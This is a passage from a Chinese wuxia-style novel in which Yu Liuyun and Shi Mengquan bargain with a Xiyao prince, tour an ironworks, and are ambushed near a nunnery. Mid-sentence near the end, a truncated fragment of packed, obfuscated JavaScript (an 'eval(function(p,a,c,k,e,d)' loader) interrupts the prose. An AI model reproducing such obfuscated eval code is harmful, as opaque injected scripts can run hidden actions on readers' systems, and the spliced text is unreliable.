段青锋道:“正是。” 玉旒云没想到他这么快就能回到正题,实在有点古怪,因抱着两臂,道:“不过,尊师说贵国有不结盟的国策,这事……恐怕有些难办吧?” 段青锋哈哈大笑:“我以为玉大人为达目的不择手段,没想到还拘泥于这点小规矩?国策还不都是人定的?规矩是死的,人是活的,没有理由为了死的规矩不理活的好处吧?” 玉旒云道:“我当然是犯不着管贵国的国策,不过我跟你们签下一个违反国策的盟约,将来你们若是反悔,你们有的是道理,而我岂不是花了这么大力气只得了一纸空文?” 段青锋道:“两国立约又不是孩童游戏,岂能说反悔就反悔的?再说立约对我国有天大的好处,反悔却说不定会惹得玉大人冲冠大怒,挥军而来呢。” 总算你识相!玉旒云想,道:“所谓买卖不成仁义在,挥军而来倒不至于。殿下愿意同我结盟自然是再好不过了,只是,我看贵国太师和几部尚书都十分不赞成,所以我担心太子签了这盟书会很难做人——而且——”而且,若真要和西瑶南北夹击楚国,她要的是步军水师,而不是一个光杆太子和几个下级军官。 段青锋不用她点破自己的尴尬处境,打断道:“玉大人放心,我不会难做人的。我是一国储君,未来的君主,他们能将我如何?再说,若我有玉大人站在我这一边,识时务的,应该都不会白费功夫来找我们的麻烦吧。” “哦?”玉旒云听出他的弦外之音:莫非是想叫我帮他铲除异己了?这可真是有意思,本来我就打算助他从老家伙们手中夺权,以此收他为己用。不过,若是我提出来,就是我求他,他恐怕会漫天要价。现在他自己提了出来,就是他求我,我倒还可以摆摆姿态,多从他那里得些好处。亏他们西瑶还是重商之国,难道不晓得谈判之时谁先松口,谁就输了么? “殿下的意思……”她故做沉吟,“是……要我介入贵国内部争斗?这……” 段青锋道:“这并非是我国内部争斗。玉大人想,我父王要和赵王爷做交易,这么大的事,难道不是诸位大臣商量的结果么?其实牟太师他们和赵王爷通信已久,整个交易的细节都是他们这些老臣们议定的。只是我在他们身边安插了人,探知内情,觉得此事大大不妥,这才插手。如果现在让事情重新按照他们的计划发展下去,西瑶就会继续支持赵王爷,到时候玉大人岂不麻烦?” 居然拿这个来威胁我?玉旒云皱了皱眉头,不过,就算是他们要帮赵王,在她来说,不过是要提早对付这个敌人而已,而在段青锋,却是要继续——甚至永远——被一群老臣控制。他的赌注更大些。他不能输。所以她还有讨价还价的余地。 于是冷冷一笑:“殿下说的也有道理。不过,那盟书上可没有这一条,似乎这一条也不能光明正大的写进去,而且我现在只不过是和石将军两人微服出行,总不能叫我二人不带一兵一卒帮你发动兵变吧?” 段青锋道:“我几时要大人兵变了?以大人的智谋,难道对付一些半截入土的老家伙还需要兵变么?” “那你需要我怎么助你?” “十分简单。和大人此行的目的完全相符。”段青锋笑道,“玉大人只要设法让我父王相信我西瑶和你樾国结盟实是明智之举,这样,大人的目的和我的目的就都达到了。” 呵!玉旒云眯起了眼睛:说白了不就是要我证明给他老子看,他是一个非常杰出的儿子么?这岂不是比帮他兵变还危险?万一被他们出卖到赵王的面前,我还怎么回北方去? 段青锋见她沉吟不语,又接着道:“为表我和大人结盟的诚心,今日就可带大人去看看我们西瑶的铸铁作坊,大人意下如何?” 玉旒云一愣:竟有如此便宜?看卓思远似乎焦急万分的样子,大概在气恼段青锋这样沉不住气。她心中不禁大喜,道:“那可好,我早想见识见识了!梦泉,咱们可得好好看看!” 石梦泉自然点头,不过他心里还是提防着段青锋以参观为名玩什么诡计,尤其看到卓思远那怪异的表情,他就更加怀疑这两人的诚意。只是,勇往直前的玉旒云为着铸箭的技术,一时还担忧不到自身的安危吧。替她扫除障碍是他的责任。 段青锋道:“请。”手一伸,将玉、石二人引出房外,张郁德本是来上茶的,现在改了备马。不时,一行人就出了太子府,策马往临渊城外而去。 48. 第 48 章 出临渊城不过两三里,就有一个小盆地。说是盆地其实更像有人在那里笔直地掘地十数丈——因为除了入口的坡道外,盆地四周围都是峭壁,除非是轻功绝佳的武林高手,否则休想要飞身而上——入口处有十来个西瑶士兵把守着,正是一夫当关,万夫莫开。石梦泉看大家渐渐接近那入口了,心中更加警觉:如果段氏有何歹意,这岂不成了一个牢房?不过玉旒云却显得毫不在意,或者在这种时候,越是深入对手的领地,越是要显出大将风度吧。 思念间,已经到了岗哨。士兵显然都识得卓、段二人,立刻闪开让路。四人也不下马,一直驰到盆地当中。这时,就可看见环绕四周的峭壁底下都开凿了巨大的洞穴,有如北地一些边民所住的窑洞,只不过,各个洞穴中都有巨大的冶炼炉,所以整个盆地也如火炉般炎热非常。玉、石二人见到有许多强壮的工人,有的挑着碳,有的担着水,还有的用独轮小车推着生铁和矿石——放眼看去,光是在空阔地方穿梭忙碌的就有百人,若加上那些在洞穴炉边的,不知共有多少。西瑶的冶炼作坊规模当真可观。 段青锋飞身下马:“玉大人,石将军,二位打算从何处看起?” 玉、石二人都是领兵打仗的人,对冶炼哪有这许多研究?虽然也去过樾国的兵器作坊,但只不过是听工匠汇报“这种兵器如何强过那种”等等。他们对冶炼的步骤有些模糊的了解,可看到西瑶如此阵仗,只有震惊而已,全无头绪。 玉旒云便笑了笑,也下了马,道:“太子殿下不赶时间,咱们就一处一处看过去,你说先看哪里,就先看哪里。” 段青锋四下里看看,见一个赭色衣服的老者,即叫道:“陈师傅,怎么不见汪侍郎?” 那陈师傅才注意到他,急忙前来拜见,答道:“早晨起就没见到汪大人。” 段青锋皱了皱眉头,道:“那也好。我带了两位贵客来,他们想开开眼界,就请你做个向导。” 陈师傅自然答应,朝玉、石二人微微欠身行礼,就领着一行人向紧靠入口处的一个洞穴走去。 那儿显然就是在分拣矿石了,赤、白、金、青各种颜色都有,工匠们把分拣好的放进不同的竹筐里,自有人一筐一筐推去冶炼。陈师傅言道,这附近有好几个不同的铁矿,出产各不相同,有时即使同一个矿中挖掘出来的矿石也性质各异,不同的矿有不同的冶炼方法,如若混杂一处,不仅暴殄天物,有时还会一无所成。 “光铁就有这么多种?”玉旒云闻所未闻。 陈师傅道:“不是铁有多种,而是铁矿有多种——铁生于石中,自然就是除了铁之外,还有旁的事物,有时是金,有时是磷,有时是硫磺。不过这里也不仅是铁矿,还有别的——比如这个叫‘重石’——”他递给玉旒云一块看起来不过核桃大小的黑色石块,但玉旒云一触手就感觉陡然一沉——果然不愧“重石”之名。呈师傅又给他一块差不多大的灰白色石头,模样就像石英,但是也很沉重。陈师傅道:“这个的样子虽然不同,不过里面有用的那点儿东西却和重石是一样的,没有这东西……” 才要说下去,却被段青锋打断了:“陈师傅,也不必说得那么详细,两位贵客将来也不会亲自去采矿。说个大概就好啦。” 陈师傅自然不能违抗太子的命令,但是又觉得话说了一半有些不妥当,就道:“炼铁不是光靠铁矿,根据你是要造锅还是要造剑,造刀锋还是刀背,需要加其他不同的材料。回头就看到。”说时,就领了一行人朝下一处作坊走。玉旒云觉得这重石委实有趣,就顺手揣在怀中。 第二处洞穴在门口一看竟不见人,却有一道阶梯直通地下,人走上阶梯之后,外头那燥热之感立刻当然无存,阴湿之气扑面而来。 “这下面是洗矿池。”陈师傅说。 “这个我倒是知道。”玉旒云道,“我看工匠把矿石打碎,装进麻袋里,然后在水中浸泡冲洗,除去杂质之后才可以冶炼。是也不是?” 陈师傅点点头。段青锋即道:“既然如此,那此处不必看了,且去下一间。”几人便又退了出来。 下一处作坊是在冶炼矿石,看来和樾国也无多大差别。只不过果然如陈师傅先前所讲,因为矿石不同,冶炼的方式也就有差别。这种冶铁的作坊有五间之多。铸铁成了砧,在樾国,下一道工序就是“灌钢”,又叫“团钢”,即是把生铁片嵌在盘绕的熟铁条中间,用泥巴把炼钢炉密封起来,待生铁均匀渗入熟铁,即成钢。此种工艺系百年前楚人所发明。那以先,各国都用是把生铁烧至半熔,边搅拌边加入铁矿粉,名曰“炒钢”,再以“炒钢”为原料通过锻打增其坚韧——要造好兵器,往往需要“百炼钢”,费工费时。自有了灌钢法,铸造兵器的效率就大大提高。 玉旒云只晓得兵器好不好用,看炼钢的炉子看不出个所以然来。陈师傅解释说,西瑶灌钢以熟铁为料铁,置于炉中,而将生铁板放在炉口,当生铁板开始熔化时,既用火钳夹住生铁板左右移动,并不断翻动料铁,使料铁均匀地淋到生铁液。这样,既使钢材质地均匀,又使铁和渣容易分离,所铸之物件自然杂质少,坚韧非凡。 “果真?”玉旒云虽然还是不大明白其中的道理,但是听到“坚韧非凡”就忍不住要仔细看看,也不顾炉子跟前既热又脏,一径靠近了要瞧个究竟。这时,正如陈师傅所说,生铁板开始熔化了,一个工匠正卖力地搅动铁料,整个炉膛通红一片,冷不防有几星滚烫的铁水飞溅出来,她看得入神,竟然不查。还是石梦泉眼疾手快,一把将她拉开。而自己的衣服就被烫出了好几个窟窿。并且,一时用了猛力,早先在江北受的刀伤又隐隐作痛起来。但他也顾不上,只问:“大人,你没事吧?” 玉旒云摇摇头,还不知自己差点受伤,只是被这熔炉吸引,喃喃道:“这还真是门学问啊!” 段青锋笑道:“虽是学问,却是匠人做的事。大人走马观花就好,这里的一切工艺我稍后叫汪侍郎着人写了给你带回去。” 他的意思就是要叫大家继续往前走了。后面有几间作坊也都是在灌钢的,虽然陈师傅说个个不同,但段青锋却以为不必一一看过,因而带着玉、石二人直接到了锻打兵器之地。 “玉大人是佩剑的,就先看剑吧。” 所进之处,工匠正在淬火。一入门就闻到臊臭之味。玉旒云皱着眉头道:“什么味道?” 陈师傅道:“是淬火用的牦牛尿和牦牛油脂。” “怎么用这种东西来淬火?”玉旒云好生奇怪。 “刚出炉时,需要急速冷却,以保证其硬度,之后需要冷得稍慢些,以保证其韧性,所以就要两种不同的淬火液。”陈师傅道,“古人有用两种不同水的,但是差别始终有限。尿液和油脂却正好可以达到这目的。西瑶多牦牛,自然就用牦牛尿和牦牛油脂了。” 哈!玉旒云不禁暗叹:这可真是大开眼界了!于是又向陈师傅详细地询问究竟两次淬火的时间有何讲究。陈师傅知无不言,听得她万分入迷。 石梦泉在一边看着,觉得她就好像一个找着新爱好的小孩子,难得的烂漫可爱——撇开她所关注的实是杀人之物不谈,单单这样专注的表情,就好叫他着迷。 却不意,段青锋突然在他耳边阴魂似的说道:“呵呵,有时我也快忘记了,玉大人哪怕叱咤风云,毕竟也是一个女子。” 石梦泉一愕。听他又继续说道:“这个女子如此与众不同,难怪叫人痴迷。” 这次石梦泉是大大的吃了一惊,扭过头去看,只见这绿眸王子正朝自己邪邪地微笑。他的心里登时就“咯噔”一下。还不及说什么,段青锋又笑着低声道:“石将军,大家都是男人,你的心思我了解得很,呵呵,如果能抱得美人归,实在……” “殿下在开什么玩笑?”石梦泉轻斥,可明显发觉自己的声音在颤抖,脸上也发起烧来。但是好在此间炎热,本来人人脸上都是红彤彤的,故尔不易察觉。 段青锋笑了笑:“我是风月场里混出来的,看得可准了——将军千军万马且不怕,怎么对着自己心仪的女子就没有胆量?呵呵,要不要我帮你一把?” 听他这样说,石梦泉不禁有些恼了:“殿下说话请放尊重些!” 段青锋绿眼中的笑意更深,然而也带上了一点点威胁。“离我皇嫂远一点。”他道。“越远越好。” 这句话说的非常轻,轻得几乎只有石梦泉一个人才听得到,但是一字一字咬牙切齿,仿佛谁若胆敢违抗,他就会把那人身上的肉一块一块割下来似的。石梦泉不禁打了个冷战。再看段青锋时,这绿眸青年已经转向旁边去了,仿佛很不耐烦的样子,催促道:“陈师傅,也该去下一处了吧?小心把贵客热坏了。” 陈师傅这才停下和玉旒云的交谈,向主子顿首领命,然而又道:“拣矿、洗矿、冶铁、灌钢、锻造——都已经看过了,不知殿下还想要带两位大人去看什么?” 打磨就没什么好看的,玉旒云想,樾国的兵器有樾国的规制,而且,就她征战北方的情况来看,还没有哪个国家能使全国的兵器都统一到樾国的那种程度。西瑶不见得有什么高明之处。就是不知道当日见到那尖利无比的箭头是哪一种铁矿经什么工艺制造而成?段青锋虽然承诺写成一本书给她,但老师傅在跟前,问一问也好。于是,她就道:“不知箭簇是哪一种铁?” “箭簇不光是铁。”陈师傅道,“是要用重石一同熔炼。还不知道灌钢要怎么做,只知道炒钢,就是……”正要引着他们过去,忽然听到一阵焦急的脚步声,有人忽道:“殿下!殿下!”就见柳成舟慌慌忙忙地跑了过来。 “殿下,大事不好了——”他才要接着说下去,就被段青锋瞪了一眼,大约是恼他在玉、石二人跟前慌张至斯,实在丢自己的面子。柳成舟便打住不说。 玉旒云轻轻一声冷笑:“陈师傅,殿下有事要谈,咱们且去看箭簇。” 她如此姿态,段青锋更显得有些“此地无银”,只有道:“等等,且看看究竟是什么大事能慌成这样——”才说着,又恍然发觉自己是中了玉旒云的激将法,不得不把坏情况也说给她听,登时又气得想跺脚。 玉旒云只在一边静静地冷笑。 柳成舟边擦汗,边道:“是太师和一众大人们,上枯云禅寺去见皇上了!” 这个消息可真是足够“大事不妙”,别说段青锋和卓思远一时失语,就连玉、石二人也是一怔。不过,玉旒云也料得到:公孙天成这老狐狸还能向牟太师献什么好计?还不是赶紧到武德帝跟前去告段青锋一状?武德帝是个倾向于和赵王做交易的,知道儿子坏了自己的事,还不立刻就下山来主持大局?他们父子两一闹上,动静可就大了。别说是结盟不成,传到赵王耳朵里就麻烦非常。 卓思远道:“殿下,看来得……” 段青锋眉头一蹙,绿眸中闪着冷光:“我自会应付,你送两位大人回五洲馆去。” 卓思远一怔:“殿下……” 可段青锋已经甩手转身而去。不多远,又回来,盯着石梦泉似笑非笑地道:“石将军,可别忘了我刚才的话。” “什么?”玉旒云觉得莫名其妙,看着他消失在腾腾的热浪里,就问石梦泉:“他说了什么?” 石梦泉呆呆的,依稀感觉段青锋方才神情颇像北方雪地里的孤狼,很多东西都可以不在乎,但是自己全心想要保护的,却可不惜任何代价。穆氏王妃?毫无证据,他只是心里一震,接着,连自己也不敢相信,就当着玉旒云的面撒谎道:“我也不知道他说的什么。” 卓思远几乎是监视着玉、石二人回到了五洲馆。两人才一走进庭院,就见到公孙天成好整以暇地坐在花池边饮茶。老先生同他们点头招呼:“两位大人回来了?看来西瑶的早点实在诱人,两位都去了大半天啦。” 玉旒云看到他这种表情就气不打一处来:老家伙好聪明,怂恿了牟太师去告状,让西瑶起内讧,他却不到跟前去煽风点火,半点话柄也不留!现在倒来我面前示威了。若是露出怒容,岂不正叫他看笑话? 当下冷笑了一声,却并不接话茬,径直和石梦泉回到后面的房里去。 掩上了门,石梦泉道:“大人,依你看,段青锋现在到哪里去了?” 玉旒云抱着双臂踱了几步:“我起先想,他师傅去他老子跟前告状,他应该急着去分辩。但是再一想,现在去分辩,岂不是只有被骂个狗血淋头的?我若是他,这时候应该避免硬碰,以守为攻和以攻为守是同一个道理吧。” 以守为攻和以攻为守都是自己掌握着主动权,那么就是说段青锋不选择被动应付,而是想抢先计划下一步。石梦泉想了想,道:“大人的意思是,他去找能帮他解决这个问题的人?” 玉旒云点了点头。 石梦泉看她狡黠地微笑,即问:“怎么,大人猜到这人是谁了?” 玉旒云插着两手:“你还记不记得刘子飞他们那伙老家伙当初喜欢怎么骂我?” ——当初玉旈云刚刚从侍卫府外放出来领兵,樾国的老将都不信她有真本领,议论纷纷,说皇后这枕头风吹得也太过厉害,恐怕这个黄毛丫头将军上了战场要批漏百出,最终还要逃回去向姐姐撒娇,外头的烂摊子又要由这些老将来收拾。于是,“找姐姐撒娇”和“夹着尾巴逃跑”几乎成了老将们挂在嘴边的戏言。石梦泉当然记得。 玉旒云道:“姐姐究竟能在皇上面前帮我们多少,外人不知道,你我总晓得。她是个与世无争的人,轻易也不会为咱们求什么,但是咱们若麻烦,她在皇上面前说话的分量还是不可否认的吧?” 石梦泉点头:他二人今日的地位固然是出生入死争打回来的,但从前几次玉旒云遇到麻烦,玉朝雾皇后都在庆澜帝跟前求情,庆澜帝才不顾朝臣们的闲言闲语,再三从轻发落。西瑶的朝中有一个似玉朝雾皇后这样的人物吗?穆氏王妃?应该不可能。那么,还有……啊,难道是—— 他心中一闪,和玉旒云异口同声说道:“孝文老太后!” “段青锋就是孝文太后抚养大的。”玉旒云道,“晋王妃先前不是说,老皇帝在时,孝文太后就参与商议国事,以致有人怀疑会二圣临朝,后来又有人怀疑她想自己称制——说明这个女人还是很不简单的。我想,她或许很有野心,但毕竟自己无法出来做事,所以不如支持段青锋这个孙子……” 石梦泉倒没有想到“野心”这一层,只道:“听晋王妃描述,当今西瑶皇帝应该是个十分孝顺的人。如果段青锋能使祖母出面为自己说情,这一关就好过得多。” 玉旒云点头道:“不管怎么样,老太后是个关键的人物。如果能让她来出面说句话,让武德帝和咱们结盟也不算什么难事吧。” “大人的意思,是现在跟去慈济庵找孝文太后?” 玉旒云道:“当然。”不过她朝门口撇了撇嘴,道:“那老狐狸就坐在出五洲馆的必经之路上,咱们有什么动静,他都能看到——他还不立刻去给咱们捣乱?” 石梦泉笑道:“要想瞒天过海的确困难,但是要瞒住一个人,倒还难不倒我。”说时,伸手一推后窗。 玉旒云哈哈大笑,朝香炉里多加了好些檀香。“让老狐狸以为咱们在这儿焚香喝茶。”说着,率先一跃扑出窗去。 石梦泉紧随在后。两人攀上一株梧桐树,不费吹灰之力就荡出了五洲馆院墙之外。可巧不知什么人把几匹马拴在路边。两人便各挑了一匹。玉旒云笑道:“可惜不是那公孙老儿的,否则倒可出出我心里的这口恶气——公孙老儿大概爬不上马,只能骑驴。” 石梦泉知她把公孙天成恨得牙痒痒的,也就顺着她的意,接茬儿道:“不是有句老话‘骑驴看唱本’么?” “可不?”玉旒云笑道,“咱们就跟他走着瞧!”说着一拍马,直朝城外而去。 因为先已由段青锋领着出过一次南门了,所以这一回就轻车熟路。到城外,打听了慈济庵的方向,就马不停蹄地赶过去。约莫二十里地,见到了一座庄园,正是萱懿山庄。再过不远,便看到慈济庵的山门,因为只有台阶,便下马拾级而上。但见木叶葱郁,听鸟语啁啾,觉得此间果然是世外修行之处。 大约因为有太后在此出家,庵堂全赖皇家供养,并不倚靠香客,一路上也未见朝觐之人,只有几个看起来像是附近山民模样的男女,背着半人高的竹篓在林间劳作。他们似乎是在挖什么草药,小药锄一戳一勾,就把所要的花草丢进竹篓里去了,又快又准。 玉旒云在书里看过西瑶是天下药材的宝窟,暗想:这些山民看来以采药为生,熟能生巧啊! 两人行了没半个时辰,就见到慈济庵了。大门关闭着,显然是不让人随便来烧香的。 也不知段青锋在哪里?孝文太后又在这庵堂的什么地方?他们为免打草惊蛇,不好上前去叫门。玉旒云便向石梦泉使了个眼色,示意一同转到后面去,跃墙而入。 两人来到了庵后,见是好大一片银杏林,高大的树木枝桠交错,正适合攀爬,那树冠虽然已开始显出金黄色,但依旧茂密,正可隐蔽行藏。两人就轻身一纵,跃到紧挨院墙的一棵树上,攀着巨枝,朝庵内张望。 里面倒也看不出什么特别,收拾得十分干净,地上连一片落叶也没有,回廊里有几个青年尼姑正跪在地上用水擦洗方砖,又有两个中年尼姑捧着茶壶、茶杯正穿过庭院。 玉旒云用手轻轻一指:看来似乎是要招待客人,莫非就是段青锋?且看她们上哪里去! 两人于是悄悄地由一棵树荡到另一棵树上,这便看到那两个尼姑走到院子的一间茅草亭前,行了礼。听里面人道:“有劳。”她二人就放下托盘,转身离去。这时,玉、石二人便看到一个老年尼姑和一个未截发但也穿着缁衣的老妇人坐在亭内下棋。那老尼姑看装束是此间住持,那么带发修行的老妇人应该就是孝文太后了。 玉、石二人互望了一眼:咦,段青锋呢? 正奇怪,石梦泉忽觉颈上火辣辣一疼,伸手一摸,是被树枝割开了一条血口子。玉旒云皱了皱眉,摸出块帕子来叫他按住伤口,自己要去把那害人的树枝折断。可是,她才一探手,只觉手背上一热,竟然也被割开了一道口子。石梦泉见到,连忙又把那手帕递回去,帮她把伤口按住。玉旒云摇摇头:我这是小意思。但又恼火地看了看那树枝,暗骂:还真厉害,便是刀剑也不过如此。 才想着,听耳边“嗤”的一声,还未反应过来是什么状况,已经被石梦泉一把拉到怀中。她扭头一看,石梦泉的袖子被划破了——若不是他这样保护,恐怕遭殃的是自己的脖子。她心中一凛:这不是树枝,是有人要杀他们! 从树上看下去,四周并不见一个人。是什么样的高手?莫非是楚国武林的匹夫们终于追了过来?两人都不曾带得兵器,在这敌暗我明的状况下,为了不任人宰割,只有打起十二分的精神,不放过任何的风吹草动。只是,明艳的秋阳下,每一片银杏叶都仿佛自己在发出哗啦啦的响声,根本就无法判断下一次攻击在何时,又来自何方。 石梦泉想:这些银杏树与其说是我们的掩护,倒不如说是替敌人隐藏行踪。如果到明处去,也许能引得他们出来,才有得一拼。因此向玉旒云使了个眼色,表示自己要下到空地上去。 玉旒云知道他此举除了要引出敌人之外,也是想把攻击都吸引到自己一个人身上,从而保护她的安危,因而拉住他的胳膊,无声的道:我同你一起去,落单了反而不安全。 石梦泉只好点了点头。但就这当儿,听得“嗤嗤嗤”好几声响,两人都来不及防范,手臂、脸颊、脖颈就已经伤了好几处。玉旒云又听到耳边有利刃划空之声,这一次迅速地探手抓了过去,虽然手掌一疼,但是握紧之手,发现那袭人的暗器是软的,拿到眼前看看,原来竟是一片银杏叶。她不禁骇然:摘叶飞花皆可伤人,这凶手倒是厉害! 这时石梦泉也截下好几片伤人的树叶了。“大人,”他道,“此地不可久留,快走!”说时,拉着玉旒云就要跃下数去。 岂料,他们方一抬脚,四面八方的银杏枝叶都好像是长了眼睛似的,哗啦啦一齐飞舞地来,片片叶子都像是小刀,一触身便是一道血口子。两人向东,这些叶子就从东面挡,两人向西,这些叶子又在西面拦着,根本就寸步难行。 玉旒云恼火地暗骂:还有妖法不成?我就不信这个邪!提脚使劲一踏,听“喀嚓”一声,银杏枝断裂,两人就随之一起落到了地上。 她这一反应出其不意,攻击果然停止了。但只是片刻,又见有一件事物迎面飞了过来。这时没有枝叶的阻挡,躲避也容易得多。她闪身让开,同时也判断出那“暗器”的来路——正是前面的树林。“藏头露尾!”她冷笑道,“看你们还有什么花样!” 那树林中“嗖嗖嗖”又射出好几根树枝来,分为数路,直取人的要害。好在石梦泉眼明手快,折下一枝银杏,挥臂扫了过去,虽然将险着全数化解了,但是胳膊也被震得生疼。他心下骇异:这些对手的功夫远在玉大人和我之上,若要取我们的性命,早也就得手了。不知究竟是何用意? 玉旒云也折了一根树枝做兵器,护住自己周身:对手并不急着杀他们,但这样一来动静大了,一定会被慈济庵里的人发现。可恶! 转瞬之间,两人又和看不见的敌手斗了好几个回合,渐渐觉得有些吃力。 如此下去可不是办法,玉旒云想,总要引得这些人现身,才好做下一步的打算。她暗暗思量着对策,突然卖了一个破绽,仿佛被树枝打中要穴似的,踉跄了一下即仰天摔倒。石梦泉抢步上来相扶,却被她一把抓住猛地拽倒在地。 “大人——” 玉旒云眨了眨眼睛,叫他配合,石梦泉也就立刻会意。 果然,两人才倒下没一刻,树林里一阵响动,有好些鲜艳的衣衫晃了出来——对手竟是方才路上看到的那些山民! 如果是西瑶人,那就好办些。玉旒云“噌”地一个打挺跳了起来:“你们西瑶人便是如此待客的么?好歹你们太子殿下也待我二人为贵宾,你们此举究竟是何居心?” 有一个长着山羊胡子的知道被骗了,那撮胡子气得一翘一翘:“两个大男人爬到尼姑庵的院墙上,这也是‘贵宾’的举止么?” 玉旒云听他如此说话,知道自己的处境并不十分危险,因道:“我只是爬到了树上,并没有上尼姑庵的院墙。莫非你们西瑶有国法,说是树也不让人爬么?” 山羊胡子道:“你休要狡赖。你们两个驰马来到山下,又一路走了这么长的台阶来到这里,难道是只想爬树?” 玉旒云掸了掸衣服:“我不想爬树,那你说我想干什么?” “师兄,”旁边一个穿着五彩百褶裙的中年妇人道,“不要同他们罗嗦,瞎子也看出来他们是来找太后的。存心不良,先把他们捆上再说!” 她说这话的时候,身边一个少年已经从腰里解下根绳子,翻腕子一甩,蛇一样直朝玉、石二人卷来,道:“师叔,看我的——” 玉、石二人看绳子夹着劲风,细枝树叶漫天翻飞,估猜适才满树银杏叶拦住自己去路,就是这少年的杰作——西瑶国小,竟有如此高手,真是卧虎藏龙,不可小觑! 心念转动间,绳索已经到了近前。石梦泉怎能坐以待毙,劈手就去拿这“毒蛇”的“七寸”。不过,玉旒云却轻轻拉了他一下,低声道:“让他们绑,反正我们也要去见太后。” 石梦泉一怔:也有理!但若是万一……少年的绳子可不给他“万一”的机会,只是这一愣间,绳子已经把他的手腕缠住。跟着,那少年好像杂耍班的猴子一样敏捷地在四周一通闪转腾挪,正把人看得眼花缭乱之时,他已将玉、石二人背靠背捆了起来。罢了,拍拍手道:“师叔,师伯,得来全不费工夫!” 他师叔,也就是那中年妇人笑了笑,道:“有长进,不错,不错。” 而他师伯,也就是那山羊胡子,拈须摇头:“年轻人就是沉不住气。你师父的这一手‘情丝万缕’本来是设下了套子让敌人钻,他们一挣扎,就自然而然地被捆住。你倒好,自己跑来跑去,像个转向的蜘蛛。你师父泉下有知,肯定很生气!” 少年被泼了冷水,撇了撇嘴道:“谁让师父去世得早,没教好我呢?” 山羊胡子一指弹在他脑门上:“臭小子,师父领进门,修行靠个人。 少年捂着额头:“哎哟,师伯,你这个‘弹指神功’什么时候要是也传了我,我就所向披靡啦!” 山羊胡子瞪了他一眼:“你想得倒美。打祖师爷的时候起,咱们苍、白、赤、玄四系就各自练各自的那一部分武功,唯其如此,个人才能精通自己的本分,而四人一起才能合作无间。你如今自家的功夫都还没练成,就想着违反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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且想着,忽然听到山羊胡子“哎哟”了一声,跟着妇人和少年也都呼痛,只见他们各自摸着头顶,而有几粒黑色的事物“扑落扑落”地掉在了地上。玉、石二人待看,只是普通的山胡桃而已。又听那山羊胡子骂道:“好你个死老太婆,竟然敢暗算你师兄我?真是越来越不像话了!” 他是朝着慈济庵里喊话的。尾音还没落,就听里面女人声答道:“师弟,你满口胡言,偏偏嗓门还这么大,吵也被你吵死了。”便见方才同孝文太后下棋的那个尼姑飘然而出——也不见她怎么抬手动脚,就上了墙头,接着仿佛散步似的朝银杏树上小小迈出一步,便稳当当立在一枝手指般粗细的树枝上,气定神闲,道:“阿弥陀佛,这里是佛门清净地。白翎,你两个师叔师伯老糊涂了,难道你年纪轻轻也不晓得么?”看来这缁衣尼姑就是玄武了。 少年白翎挠了挠头,不待回话,山羊胡子已经骂道:“哈,你个死玄衣,无论如何依照入门的先后顺序,我苍翼都是你师兄,你怎么二十年来死性不改,非要装大?” 老尼姑玄衣白了他一眼:“按照咱们这辈的入们顺序,我自然是晚过你,但是我师父比你师父先入祖师的门,而我祖师比你祖师先向翦大王学艺,所以无论如何,我都是你师姐。你问问朱卉,她服是不服?” 妇人朱卉皱了皱眉头,似乎是夹在中间不好回答。苍翼就怒冲冲地道:“你问她干什么?这根本就不关她的事。无论怎么论资排辈,她都是老四!现在是你自己非要冒充老大不可!我就不明白,你已是方外之人,还争这虚名做什么?” “哼!”玄衣毫不示弱,“既然你也知道是虚名,又为何要来争?” 他俩都是一把年纪了,却像小孩似的红着脸争执,慢说朱卉和白翎两个面面相觑,玉旒云也是大摇其头:“两位前辈,你们一个说我们是爬墙头的登徒子,一个又嫌大家在此打闹声音太大,可是现在究竟是谁站在墙头上,又是谁的声音比较大呢?” 她如此一说,苍翼来了精神:“可不是!死老尼姑,你站在墙头上做什么?你的嗓门可比我大多了,不信叫太后娘娘来评个理!” “呸!”玄衣啐了一口,“我几时站在墙头上?我分明是站在树梢上!还有你——”她瞪着玉旒云:“好漂亮的小白脸,果然会耍嘴皮子。你想挑唆得我们自己起内讧么?我才不上你的当!这就把你们丢下山去,看你还有什么花样!”说时,衣袂飘飘,大鹏鸟一般从枝头飞下,像是随手拣起根稻草似的把玉、石二人拎起,做势就要朝山下走。 糟糕!玉旒云暗呼。 可偏偏此时,听到院墙里又一个女人声道:“玄衣,我们都是出家人,怎可害人性命呢?他们既然是来看我的,我也没什么不能给人看的,你就成全他们,带他们进来吧。”显然,这是孝文太后大了话。 玄衣听言,应声“是”,就轻轻一纵回到庵内。而她的另三位同门也都跟随在后。 玉旒云和石梦泉便被带到了孝文太后的跟前。这时离得很近了,两人才发觉孝文太后虽然年迈,头发花白,但是眼神清澈安定,自有一份不可言喻的庄严气度——西瑶的女子多是媚骨天成,有种很难脱掉的风骚,似穆氏王妃般雍容温柔已经少见,像孝文太后这样,穿着缁衣也有皇家风范的也许再找不出第二人来。玉旒云心中当时就是一动:她看来倒不像是西瑶人啊! 孝文太后微微笑了笑,道:“两位要见我这老太婆么?我好稀罕么?”又朝白翎招招手:“把他们松开。” 白翎依言行事。苍翼和玄衣两个虽然方才斗个没完,但这时都敛容正色,眼睛眨着不眨地盯着玉、石二人,生怕他们会做出什么对孝文太后不利的举动。而玉旒云只是活动了一下筋骨,道:“太后自己觉得不稀罕,我玉某人却久仰了——青锋太子殿下文武双全,我很想拜会拜会一手教导他的太后娘娘您——娘娘在上,樾人玉旒云有礼了。” 大约是没有料到玉旒云会直截了当地自报家门,众人都是一愣。唯孝文太后依旧微笑,道:“玉……啊,虽然我身在空门,但是也都听说过玉将军的威名,该是我久仰将军才是。那这一位是……” 石梦泉赶忙也行礼:“在下石梦泉。” 孝文太后微笑还礼:“两位这么远来到我国——方才听你们说,你们是太子的贵客,那便不要在我这庵堂里耽搁时间。我这里除了茶水,真没什么好招待的。” 才见面就在逐客,玉旒云想,那还不摆明了此间有古怪?段青锋必是躲在这里。老太后不知现在究竟有什么想法,她对段青锋的计划知道多少?我不可轻举妄动。因道:“我们不赶时间。其实刚才和太子殿下去看炼铁,才在兴头上,突然他就有急事走了。我们后半天时间就空了出来,正好来拜会太后娘娘。” 她下个很明显的套子,孝文太后毫不在意地往里钻:“哦?什么事把他急得连贵客都撇下了?” 玉旒云笑道:“我哪里晓得?大约是他和贵国皇帝陛下之间有了什么误会吧,我正是来这里问问他有什么我可以帮忙的。” 孝文太后道:“哦?他和皇帝之间有误会,那应该是上枯云禅寺去找皇帝了才是。将军怎么找到这里来了?” 